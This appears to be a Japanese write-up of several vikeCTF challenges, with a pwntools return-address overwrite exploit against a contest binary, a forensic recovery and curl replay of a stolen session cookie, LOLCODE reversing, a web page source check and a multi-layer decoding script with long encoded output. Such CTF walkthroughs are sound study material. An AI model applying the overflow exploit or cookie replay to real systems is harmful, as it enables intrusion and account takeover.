3番の「An organic, custom-engraved flag stand」を33038210個購入すると指定すれば、条件をクリアできる。さらにprint_flag関数をコールするようになっていないので、print_stand関数のBOFを利用して、print_flag関数をコールする。

#!/usr/bin/env python3
from pwn import *

p = remote('35.94.129.106', 3008)

elf = ELF('./the-usual')

print_flag_addr = elf.symbols['print_flag']

payload = b'A' * 40
payload += p64(print_flag_addr)

data = p.recvuntil(b') ').decode()
print(data + '3')
p.sendline(b'3')
data = p.recvuntil(b'? ').decode()
print(data + '33038210')
p.sendline(b'33038210')
data = p.recvuntil(b'? ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode()
print(data)
data = p.recvline().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 35.94.129.106 on port 3008: Done
[*] '/media/sf_Shared/the-usual'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Welcome to the flag shop!

Please make a selection:
1: A life-altering flag-themed quote, $10
2: A hand-typed, bespoke, artist's rendition of the flag, $45
3: An organic, custom-engraved flag stand, $130
4: The flag, $20,000
5: Exit

Your balance is $100
What would you like to buy? (1-5) 3
How many would you like? 33038210
What would you like your flag stand to say? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW\x15@\x00\x00\x00\x00\x00'
Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks

vikeCTF{B!n@ry_Xp10!7@7!0N_X64}

[*] Closed connection to 35.94.129.106 port 3008
vikeCTF{B!n@ry_Xp10!7@7!0N_X64}

Hidden Treasure (MISC)

FTK Imagerで開き、vol6/home/viktor/snap/firefox/common/.mozzila/firefox/gafhcvjb.default/cookies.dbをエクスポートする。
hostが35.94.129.106のクッキーとして以下のデータがある。

key: session
value: 6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389

クッキーにこの情報を設定して、アクセスする。

$ curl -b "session=6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389" http://35.94.129.106:3005/      
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WINNER WINNER CHICKEN DINNER</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css">
</head>

<body>
    <main class="container">
        <h1>vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}</h1>
    </main>
</body>

</html>
vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}

Program With Jokes (REVERSE)

LOLCODEというもののプログラムらしい。ネット上の情報を見て、コードを読み解いていく。
I HAS文は変数定義なので、以下のようになる。

FLAG_START = "vikeCTF{3S073riC_"
FLAG_KEY = "xxxxxxxxxx"
FLAG_END = "}"
KEY = YARN(文字列)
HALO_LOL_CATZZ = BUKKIT

HALO_LOL_CATZZ HAS文はよくわからないが、同じく変数定義として書き出してみる。

CHEEZBURGER = "L"
KITTEH = 5
NOM = 1
MEW = "G"
HOOMAN = "G"
PURRITO = 7
MEOWZART = "C"
CATTITUDE = "_"
PAWTY = 0
MEOWTAIN = 4

以下の文で上記の定義で該当する文字を並べてみる。

BOTH SAEM KEY AN SMOOSH HALO_LOL_CATZZ'Z CHEEZBURGER HALO_LOL_CATZZ'Z PAWTY HALO_LOL_CATZZ'Z NOM HALO_LOL_CATZZ'Z MEOWZART HALO_LOL_CATZZ'Z MEOWTAIN HALO_LOL_CATZZ'Z PURRITO HALO_LOL_CATZZ'Z KITTEH HALO_LOL_CATZZ'Z CATTITUDE HALO_LOL_CATZZ'Z MEW HALO_LOL_CATZZ'Z HOOMAN MKAY, O RLY?
CHEEZBURGER: "L"
PAWTY: "0"
NOM: "1"
MEOWZART: "C"
MEOWTAIN: "4"
PURRITO: "7"
KITTEH: "5"
CATTITUDE: "_"
MEW: "G"
HOOMAN: G

FLAG_KEYが"L01C475_GG"であると推測し、フラグとして結合する。

vikeCTF{3S073riC_L01C475_GG}

Ponies (WEB)

しばらくすると、あちこちに文字が表示され、何もできなくなる。curlでHTMLソースを確認する。

$ curl http://35.94.129.106:3009/                            
<!DOCTYPE html>
<html>
    <head>
        <script id="preventions">
            document.addEventListener("contextmenu", function(e) {
                e.preventDefault();
            });
            document.addEventListener("click", function(e) {
                var el = document.documentElement,
                    rfs = el.requestFullscreen;
                if (typeof rfs != "undefined" && rfs) {
                    rfs.call(el);
                }
            });
        </script>
        <script type="text/javascript" src="https://browser.pony.house/js/ponybase.js"></script>
        <script type="text/javascript" src="https://browser.pony.house/js/browserponies.js" id="browser-ponies-script"></script>
        <style>
            .center {
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100%;
            }

            .unselectable {
                -webkit-touch-callout: none;
                -webkit-user-select: none;
                -khtml-user-select: none;
                -moz-user-select: none;
                -ms-user-select: none;
                user-select: none;
            }

            .background {
                height: 100%;
                width: 100%;
                left: 0;
                right: 0;
                top: 0;
                bottom: 0;
                position: absolute;
                background: linear-gradient(124deg, #ff2400, #e81d1d, #e8b71d, #e3e81d, #1de840, #1ddde8, #2b1de8, #dd00f3, #dd00f3);
                background-size: 1800% 1800%;
                -webkit-animation: rainbow 18s ease infinite;
                -z-animation: rainbow 18s ease infinite;
                -o-animation: rainbow 18s ease infinite;
                animation: rainbow 18s ease infinite;
            }

            @-webkit-keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }

            @-moz-keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }

            @-o-keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }

            @keyframes rainbow {
                0% {
                    background-position: 0% 82%;
                }

                50% {
                    background-position: 100% 19%;
                }

                100% {
                    background-position: 0% 82%;
                }
            }
        </style>
    </head>
    <body>
        <div class="background">
            <div class="center">
                <h1 class="unselectable">The flag is <code id="flag">Arriving shortly...</code>
                </h1>
            </div>
        </div>
        <script type="text/javascript">
            let intervalMs = 500;
            let initialPonies = 500;
            let incrementalPonies = 100;
            let cfg = {
                baseurl: "https://browser.pony.house/",
                fadeDuration: 500,
                volume: 1,
                fps: 25,
                speed: 1,
                audioEnabled: false,
                showFps: false,
                showLoadProgress: false,
                speakProbability: 0.01,
            };
            BrowserPonies.setBaseUrl(cfg.baseurl);
            BrowserPonies.loadConfig(BrowserPoniesBaseConfig);
            BrowserPonies.loadConfig(cfg);
            BrowserPonies.spawnRandom(initialPonies);
            BrowserPonies.start();
            let counter = 0;

            function recursiveSpawn() {
                BrowserPonies.spawnRandom(incrementalPonies);
                if (!BrowserPonies.running()) {
                    counter = counter + 1;
                    document.getElementById("flag").innerHTML = "arriving shortly" + ".".repeat(counter % 4);
                    setTimeout(recursiveSpawn, intervalMs);
                } else {
                    setTimeout(() => {
                        var tag = document.createElement("script");
                        tag.src = "/gag.js";
                        document.getElementsByTagName("head")[0].appendChild(tag);
                    }, "7000");
                }
            }
            recursiveSpawn();
        </script>
    </body>
</html>

gag.jsを見てみる。

$ curl http://35.94.129.106:3009/gag.js                          
document.getElementById("flag").innerHTML = "vikeCTF{ponies_for_life}";
vikeCTF{ponies_for_life}

Norse Cryptogram (CRYPTOGRAPHY)

以下の順にデコードする。

・2進数
・base64
・base64
・ASCIIコード
・base64
・16進数
・base32
・シーザー暗号
#!/usr/bin/env python3
from base64 import *
import string

def caesar(s, key):
    d = ''
    for c in s:
        code = ord(c)
        if c in string.ascii_uppercase:
            code = code - key
            if code < ord('A'):
                code += 26
        elif c in string.ascii_lowercase:
            code = code - key
            if code < ord('a'):
                code += 26
        d += chr(code)
    return d

with open('runicTranscript.txt', 'r') as f:
    codes = f.read().split(' ')

msg = ''
for code in codes:
    msg += chr(int(code, 2))
print(msg)

for _ in range(2):
    msg = b64decode(msg).decode()
    print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code))
print(msg)

msg = b64decode(msg).decode()
print(msg)

codes = msg.split(' ')
msg = ''
for code in codes:
    msg += chr(int(code, 16))
print(msg)

lines = msg.split('\n')
msg = ''
for line in lines:
    msg += line.split('|')[1]
msg = b32decode(msg).decode()
print(msg)

msg = caesar(msg, 12)
print(msg)

実行結果は以下の通り。

TnpjZ01USXlJRFkxSURFd015QTNOeUF4TWpJZ05qVWdNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjNElERXdOaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUF4TURNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzT0NBeE1EWWdPRGtnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGMzSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM09DQXhNRFlnTnpNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURnMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTROU0F4TURNZ056Z2dNVEEySURZNUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpnZ01UQTJJRFk1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemNnTVRJeUlERXdNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBNU9TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjNElERXdOaUEyT1NBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjNElEVXdJRGMzSURFd015QTNPQ0EzTVNBNE5TQXhNRE1nTnpnZ05qZ2dOek1nTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpnZ09EUWdNVEF6SURFd015QTNPQ0EzTVNBNE9TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNPQ0EzTVNBM015QXhNRE1nTnpnZ09EUWdOalVnTVRBeklEYzRJRFk0SURFd055QXhNRE1nTnpnZ09EY2dOamtnTVRBeklEYzRJRGN4SURZNUlERXdNeUEzT0NBMk9DQXhNRE1nTVRBeklEYzRJRGcwSURrNUlERXdNeUEzT0NBNE55QTJPU0F4TURNZ056Z2dOamdnTnpNZ01UQXpJRGM0SURnMElEZzFJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemNnTnpFZ05qa2dNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBMk9TQXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM055QXhNaklnT1RrZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1qSWdPRGtnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpjZ01USXlJRGs1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemdnTVRBMklEWTVJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURjeklERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01USXlJRGc1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemdnTVRBMklEYzNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTNOeUF4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01USXlJREV3TnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTRPU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUF4TURNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemdnTmpnZ09Ua2dNVEF6SURjNElEWTRJRGc1SURFd015QTNPQ0EyT0NBeE1EY2dNVEF6SURjNElEWTRJRGd4SURFd015QTNPQ0EyT0NBNU9TQXhNRE1nTnpnZ09EY2dOamtnTVRBeklEYzRJRFk0SURjeklERXdNeUEzT0NBNE5DQTRPU0F4TURNZ056Z2dOekVnTnpjZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Z2dPRFFnTVRBM0lERXdNeUEzT0NBMk9DQTRPU0F4TURNZ056Z2dOamdnT0RVZ01UQXpJRGM0SURnMElERXdNeUF4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzT0NBMk9DQTROU0F4TURNZ056Z2dOVEFnTnpjZ01UQXpJRGMzSURjeElEWTVJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBMk5TQXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TWpJZ056TWdNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURFd055QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ056Y2dNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTROU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjM0lERXlNaUEzTnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ056Y2dNVEF6SURjM0lERXlNaUE1T1NBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjNElERXdOaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBMk9TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUEzTnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTJPU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjNElEVXdJRGMzSURFd015QTNPQ0EyT0NBeE1EY2dNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemdnTnpFZ09EVWdNVEF6SURjNElEWTRJRGd4SURFd015QTNPQ0EyT0NBM055QXhNRE1nTnpnZ09EUWdPREVnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01USXlJRGs1SURFd015QTNPQ0EzTVNBM015QXhNRE1nTnpjZ01USXlJRGcxSURFd015QTNPQ0EzTVNBNE5TQXhNRE1nTnpnZ05qZ2dPREVnTVRBeklEYzRJRFk0SURZNUlERXdNeUEzT0NBNE5DQTNOeUF4TURNZ056Z2dOekVnTmprZ01UQXpJRGM0SURnMElEY3pJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemNnTnpFZ05qa2dNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBM055QXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM055QXhNaklnT1RrZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzT0NBeE1EWWdPRFVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpnZ01UQTJJRGd4SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemdnTVRBMklEZ3hJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTNOeUF4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBM055QXhNRE1nTnpjZ01USXlJRGcxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpnZ05UQWdOemNnTVRBeklEYzRJRFk0SURrNUlERXdNeUEzT0NBM01TQTROU0F4TURNZ056Z2dOamdnTVRBM0lERXdNeUEzT0NBMk9DQTRNU0F4TURNZ056Z2dOekVnT0RFZ01UQXpJRGM0SURjeElEZ3hJREV3TXlBM055QXhNaklnTnpjZ01UQXpJRGMzSURFeU1pQTROU0F4TURNZ056Z2dOVEFnTnpjZ05qRT0=
NzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiAxMDMgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3OCAxMDYgODkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDc3IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3OCAxMDYgNzMgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDg1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgMTA3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzggMTA2IDY5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDY5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDEwMyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA5OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc4IDEwNiA2OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc4IDUwIDc3IDEwMyA3OCA3MSA4NSAxMDMgNzggNjggNzMgMTAzIDc3IDEyMiA3MyAxMDMgNzggODQgMTAzIDEwMyA3OCA3MSA4OSAxMDMgNzcgMTIyIDgxIDEwMyA3OCA3MSA3MyAxMDMgNzggODQgNjUgMTAzIDc4IDY4IDEwNyAxMDMgNzggODcgNjkgMTAzIDc4IDcxIDY5IDEwMyA3OCA2OCAxMDMgMTAzIDc4IDg0IDk5IDEwMyA3OCA4NyA2OSAxMDMgNzggNjggNzMgMTAzIDc4IDg0IDg1IDEwMyA3OCA1MCA3NyAxMDMgNzcgNzEgNjkgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2OSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgOTkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgODkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgMTA3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDk5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzggMTA2IDY5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDczIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTIyIDg5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDc3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTIyIDEwNyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiAxMDMgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDc3IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgODUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3OCA1MCA3NyAxMDMgNzggNjggOTkgMTAzIDc4IDY4IDg5IDEwMyA3OCA2OCAxMDcgMTAzIDc4IDY4IDgxIDEwMyA3OCA2OCA5OSAxMDMgNzggODcgNjkgMTAzIDc4IDY4IDczIDEwMyA3OCA4NCA4OSAxMDMgNzggNzEgNzcgMTAzIDc3IDEyMiA4MSAxMDMgNzggODQgMTA3IDEwMyA3OCA2OCA4OSAxMDMgNzggNjggODUgMTAzIDc4IDg0IDEwMyAxMDMgNzcgMTIyIDc3IDEwMyA3OCA2OCA4NSAxMDMgNzggNTAgNzcgMTAzIDc3IDcxIDY5IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNzMgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDEwNyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA5OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA2OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA2OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1